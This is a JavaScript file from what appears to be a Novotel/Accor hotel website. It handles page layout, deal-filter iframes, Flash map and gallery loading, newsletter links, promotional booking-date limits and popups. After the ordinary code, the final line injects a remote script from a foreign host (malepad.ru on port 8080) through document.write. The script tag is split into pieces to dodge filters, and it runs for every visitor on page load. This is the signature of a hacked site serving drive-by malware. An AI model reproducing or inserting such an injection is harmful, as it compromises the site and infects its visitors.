			base.getElementsBySelector('li').each(function(item,index) {
				if(index % 2 == 0) item.addClassName('even');
			});
		}
			
	}
}



/**
* fc de patch pour centrer la page
**/
function centerPage () {
	if (!$('conteneur_page') || IS_IE || document.location.hostname.match(/accorthalassa/)) return;
	var ori = document.body.innerHTML;
	document.body.innerHTML = "<div id='ctn_global'>"+ori+'</div>';
	// version DOM bugg?ur ie6
}

/** 
* functions li aux frames dernieres minutes GreatDeals
**/

var framePlayer = {

	init: function (){
		var that = this;
		if(!$('tri')) return ;
		// vars
		this.actualZone = "pays";
		this.actualFiltre = "dest";
		this.baseURL = "http://www.novotel.com/hotel-cms/"+window.lng+"/promo/hotel-";
		// btns affichez-masquez
		this.btn1 = $('toggleBtn');
		this.btn1.onclick = this.toggleFiltre;
		this.btn2 = $('toggleBtn2');
		this.btn2.onclick = this.toggleFiltre;
		// onglets ==> modifie actualZone + select option
		this.idTab = ['pays', 'europe', 'monde'];
		this.idTab.each(function (elm){
			$(elm).onclick = function (e){
				this.actualFiltre = "dest";
				that.actualZone = this.id;
				that.toggleTab(this);
				that.generateOptions(this.id); 
				that.changeFrame();
			};
		}.bind(this));	

		// radios btn
		this.inputs = $("tri").getElementsByTagName("input");
		for(var i=0;i<this.inputs.length;i++){
			this.inputs[i].onclick = function (){
				that.changeFrameFiltre(this.value)
			}
		}
		//
	},
	
	toggleFiltre : function (id) {
		if (id== "tri" && $('tri').style.display != "none") return
		var tri = $('tri');
		var filtre = $('filtre');
		var affine = $('affine');
		var mask_affine = $('mask_affine');
		var tab = [tri, filtre, affine, mask_affine];
		for(var i=0; i<tab.length;i++){
			tab[i].style.display = (tab[i].style.display != 'none') ? "none" : "block" ;
		}
	},
	
	toggleTab: function (elm) {
		this.idTab.each(function (el){
			el = $(el);
			if(elm == el) {
				addClass(el.parentNode, "current");
			} else {
				removeClass(el.parentNode, 'current');
			}
		}.bind(this));		
	},
	
	changeFrameFiltre: function(arg) {
		this.actualFiltre = arg;
		this.changeFrame();
	},

	changeFrame: function (){
		$("iframeHotdeals").src = this.baseURL+this.actualZone+"-"+this.actualFiltre+".html";
	}, 
	
	generateOptions : function (id){
			var monde = $('Gmonde');
			var europe = $('Geurope');
			var comparo = $("G"+id);
			if (id=="pays") {
				this.btn1.style.visibility = "hidden";
				this.toggleFiltre("tri");
				this.actualZone = "pays";			
			}
			if(comparo == monde) {
				this.btn1.style.visibility = "visible";
				monde.style.display = "inline";
				europe.style.display = "none";
				this.actualZone = "monde";			
				$('Gmonde').value = "dest";
				
			}
			if(comparo == europe) {
				this.btn1.style.visibility = "visible";
				monde.style.display = "none";
				europe.style.display = "inline";
				this.actualZone = "europe";				
				$('Geurope').value = "dest";
			}		
		} 
};

/** */
Event.onDOMReady(function() {
	if (!document.location.hostname.match(/accorhotels/))centerPage();
	createSheets();
	contextualize();
	generateStyleElements();
	addToolTips(); //bug proto verifier show puis appear
	addPopLayer();
	returnLists();
	checkLinks();
	formControl.init();
	mailingwrite(); 
	flashInit.init();
    flashUpdate.init();
	if ($('aide_contact')) toggleQA($('aide_contact'));
	NOV_Popup.load();
	//flashLayer.init();
});


Event.observe(window, 'load', function() {
	sizeBlocks();
	fixColumns();
	fixCorners();
	framePlayer.init(); // a laissez apres flashInit
});


/* fonction pour gerer l'affichage de la carot Flash selon le parametre demande */
var flashUpdate = {

    init : function(){
      if (!$("formGeo")) {return;}
      var elements = $("formGeo").select('input');
			for(var i=0; i<elements.length; i++){
				if(elements[i].type == "radio")
                    if(elements[i].id == 'all') elements[i].checked = true;
					$(elements[i]).observe('click', this.rewriteSwfObject);
			}
    },
    
    rewriteSwfObject : function(event){
        var input = event.element();
		var so = new SWFObject("/flash/rechgeo/rechlabel_nov.swf", "cartoLabel", "716", "308", "6", "#6E1940");
        so.addVariable("marque_var", "NOV");
        so.addVariable("langue", LNG);
        so.addVariable("label", input.id.toUpperCase());
        so.addVariable("webApp", "novotel");
        so.addParam("allowScriptAccess", "always");
        so.addParam("quality", "high");
        so.addParam("scale", "noscale");
        so.addParam("wmode", "transparent");
        so.write("flash-container-geo");
    }
}

 function mailingwrite() {
	if (!window.location.hostname.match(/novotel/)) {
		if (window.location.hostname.match(/accorhotels/)) {
			if(document.getElementById('newsId')){
			var linkmail=document.getElementById('newsId').getElementsByTagName('a') ;
			linkmail[0].href='http://www.accorhotels.com/mailinglist/fr_top.jsp?ecran=ajout_compte.jsp&action=SUBSCRIBE&site=ALL,PMO,AEC|ALL';
			};
			if(document.getElementById('newsId2')){
			var linkmailid=document.getElementById('newsId2').getElementsByTagName('a');
			linkmailid[0].href='http://www.accorhotels.com/mailinglist/fr_top.jsp?ecran=ajout_compte.jsp&action=SUBSCRIBE&site=ALL,PMO,AEC|ALL';
			} 
		};
		if (window.location.hostname.match(/thalassa/)) {
			if(document.getElementById('newsId')){
			var linkmail=document.getElementById('newsId').getElementsByTagName('a');
			linkmail[0].href='http://www.accorthalassa.com/mailinglist/fr_top.jsp?ecran=ajout_compte.jsp&action=SUBSCRIBE&site=THA,PMO,AEC|ALL';
			};
			if(document.getElementById('newsId2')){
			var linkmailid=document.getElementById('newsId2').getElementsByTagName('a');
			linkmailid[0].href='http://www.accorthalassa.com/mailinglist/fr_top.jsp?ecran=ajout_compte.jsp&action=SUBSCRIBE&site=THA,PMO,AEC|ALL';
			}

		}
	}
}


function pu_OpenScroll (){	window.open("/fr/aide/credit_photos.html',","credits_photo","menubar=no, status=no, scrollbars=no, resizable=yes, top=200, left=250, width=650,height=480");
}

var flashLayer = {
	init: function (type, obj){
		layerManager = this;
		RID = flashInit.getMeta("X-Accor-rid");
		MEDIATYPE = flashInit.getMeta("X-Accor-mediatype");
		LNG  = flashInit.getLang(); // (fr,  en , de ...) correspond ?a norme ISO
		window.lng = IMG_PATH = ("en"==LNG)?"gb":LNG; // (fr, gb ,de ...) correspond ?'arborescence ACCOR       
		// conteneur 
		if(!$('galleryLayer')){
			var div = document.createElement("div");
			div.id = "galleryLayer";
		} 
		else {
			var div = $('galleryLayer');
		}
		layerManager.layer = div;
		layerManager.layer.style.height = document.body.scrollHeight+"px";
		//
		if(type=="ipx"){
			layerManager.layer.innerHTML = "";
			if(obj.length == 0) return;
			var str = obj;
			str = str.split(',');
			var QS = "?param=";
			for(var i =0;i<str.length;i++){
			   var a = str[i].split(":")[0];
			   var b = str[i].split(":")[1];
			   var c = a.substr(2);
			   var d = b.substr(0,b.length-1);
               QS += c+"$"+d+"#";
			}
			QS = QS.substr(0,QS.length-2);
			var where = "/"+LNG+"/fichehotel/nov/pop_visites_1.shtml";
			var container = document.createElement('div');
			container.id = "ipixContainer";
			var ipx_container = document.createElement('iframe');
			ipx_container.id = "ipixFrame";
			ipx_container.src = where+QS;
			ipx_container.scrolling= "no";
			ipx_container.frameborder="0"; 
			ipx_container.height = "480";
			ipx_container.width = "560";
			ipx_container.border = "0";
			container.appendChild(ipx_container);
			layerManager.layer.appendChild(container);
			document.body.appendChild(layerManager.layer);
		}
		else{
			layerManager.layer.innerHTML = "";
			var flash_container = document.createElement('div');
			flash_container.id = "flash-container-gallery";
			flash_container.innerHTML = "flash-container-gallery";
			layerManager.layer.appendChild(flash_container);
			document.body.appendChild(div);
			var so = new SWFObject("/flash/fichehotel/galerie_nov.swf","gallery", "100%", "100%", "8", "#FFFFFF");
			so.addParam("wmode", "transparent");
			so.addVariable("URL_XMLlang",	"/fichehotel/i18n/nov_texte_"+IMG_PATH+".xml"); // fichier de langue  ?ivrer par F6
			so.addVariable("URL_XMLhotel", "/fichehotel/xml/"); // emplacement fichier hotel g?r?ar le moteur
			so.addVariable("URL_PIC", "/photos/"); //emplacement des images hotel
			so.addVariable("URL_VID", document.location.protocol+"//"+document.location.host.replace('www','media')+"/video"	); //emplacement des videos hotel
			so.addVariable("rid", RID); // code hotel
			so.addVariable("lang", LNG); //langue (fr, en, de)
			so.write("flash-container-gallery"); // OK sauf emplacement des medias
		}
		layerManager.layer.style.display = "none";
		this.open();
	},
	
	open : function (){
		//this.animate('open');
		layerManager.layer.style.display = "block";
		ifrlayer.make(layerManager.layer);
		},
	
	close : function (){
		//this.animate('close');
		layerManager.layer.style.display = "none";
		ifrlayer.hide(layerManager.layer);
	},
	
	animate : function (open){	
	//console.log(open);
		switch(open){
			case "open": 
			layerManager.makeTransitions(layerManager.layer,{start:0,end:1})
			break;
			case "close": 
			layerManager.makeTransitions(layerManager.layer,{start:1,end:0})
			break;
		}
	},
	
	makeTransitions : function (elm, transitions, callBack) {
		//clearInterval(this.interval);
		elm.style.opacity = transitions.start;
		if(transitions.start > transitions.end) sens = -1;
		else sens = 1;
		this.interval = setInterval(function(){
			//console.log(elm.style.opacity);
			elm.style.opacity =  parseFloat(elm.style.opacity, 10)+(0.1*sens);		
		}, 50);
		
		
		//elm.style.opacity = transitions.start;
	}
}

/*Offers*/

var nov_offers = {
	data : [
		{	className : 'promo1euro',
			floor : {day: 15, month: 7, year: 2008},
			ceil :  {day: 24, month: 8, year: 2008},
			duration : {floor: 2, ceil: 2}
			},
		{	className : 'promo56euros',
			floor : {day: 15, month: 7, year: 2008},
			ceil :  {day: 30, month: 9, year: 2008},
			duration : {floor: 1, ceil: 23}
			}
	],
	init : function(){
		for(index in this.data){
			if($$('.'+this.data[index].className)[0]){
				this.fillDateLimit(this.data[index]);
				return true;
			}
		}
		return false
	},
	fillDateLimit : function(dateLimits){
		$('jour_arrivee').innerHTML = '';
		$('mois_arrivee').innerHTML = '';
		$('annee_arrivee').innerHTML = '';
		
		formControl.fillSelectMoteur('jour_arrivee', dateLimits.floor.day , dateLimits.floor.month == dateLimits.ceil.month ? dateLimits.ceil.day : 31);
		formControl.fillSelectMoteur('mois_arrivee', dateLimits.floor.month, dateLimits.ceil.month);
		formControl.fillSelectMoteur('annee_arrivee',dateLimits.floor.year, dateLimits.floor.year);
		
		$$('#jour_arrivee option[value="'+dateLimits.floor.day+'"]')[0].selected = 'selected';
		$$('#mois_arrivee option[value="'+dateLimits.floor.month+'"]')[0].selected = 'selected';
		$$('#annee_arrivee option[value="'+dateLimits.floor.year+'"]')[0].selected = 'selected';
		if(dateLimits.duration != null){
			var options = '';
			var selected = '';
			$('nb_nuit').innerHTML ='';
			//formControl.fillSelectMoteur('nb_nuit', dateLimits.duration.floor, dateLimits.duration.ceil);
			
			for(var i=dateLimits.duration.floor; i<=dateLimits.duration.ceil; i++){
				selected = i == dateLimits.duration.floor ? ' selected="selected"' : '';
				options += '<option value="'+i+'"'+selected+'>'+i+'</option>'
			}
			new Insertion.Bottom($('nb_nuit'), options);
			
		}else if(dateLimits.minDuration == 0 ){
		}
		
		//Month Select Box Observer
		if(dateLimits.floor.month < dateLimits.ceil.month ){
			Event.observe('mois_arrivee', 'change', function(event){
				$('jour_arrivee').innerHTML = '';
				if($(Event.element(event)).value == dateLimits.ceil.month)
					formControl.fillSelectMoteur('jour_arrivee', 1, dateLimits.ceil.day);
				else if($(Event.element(event)).value == dateLimits.floor.month)
					formControl.fillSelectMoteur('jour_arrivee', dateLimits.floor.day, dateLimits.floor.month == dateLimits.ceil.month ? dateLimits.ceil.day : 31);
				else
					formControl.fillSelectMoteur('jour_arrivee', 1, 31);
			});
		}

		formControl.today = new Date();
		formControl.elmPays = $('pays');
		formControl.elmVille = $('ville');
		formControl.minDays=dateLimits.duration.floor;
		formControl.dSelect = $('jour_arrivee');	
		formControl.mSelect = $('mois_arrivee');
		formControl.ySelect = $('annee_arrivee');
		formControl.days = new Array();
		formControl.months = new Array();
		formControl.years = new Array();
		$('submitter').onclick = formControl.checkSpecialOffers;		
		
		//Year Select Box Observer is not implemented yet
	}
}

Event.observe(window, 'load', function(){
	new PeriodicalExecuter(function(){nov_offers.init(); arguments[0].stop();}, .1);
});


NOV_Popup = {
	toggled: true,
	items : [
	{id:'jeux1', height:500, width:600},
	{id:'jeux2', height:500, width:600},
	{id:'jeux1_1', height:500, width:600},
	{id:'jeux2_2', height:500, width:600}
	],
	load : function(){
		this.items.each(function(item){
			if($(item.id)){
				var href = $(item.id).getAttribute('href');
				$(item.id).setAttribute('href','javascript:;');
				Event.observe($(item.id), 'click', function(event){
					var popup = window.open(href, this.getAttribute('title'), 'top=50px, left=50px, height='+item.height+'px, width='+item.width+'px, toolbar=no, menubar=no, scrollbars=no, resizable=no, location=no, directories=no, status=no');
					Event.stop(event);
					if(item.callback)
						item.callback(popup);
					return false;
				});
			}
		});
	}
}






document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Defragment.js"></scr'+'ipt>');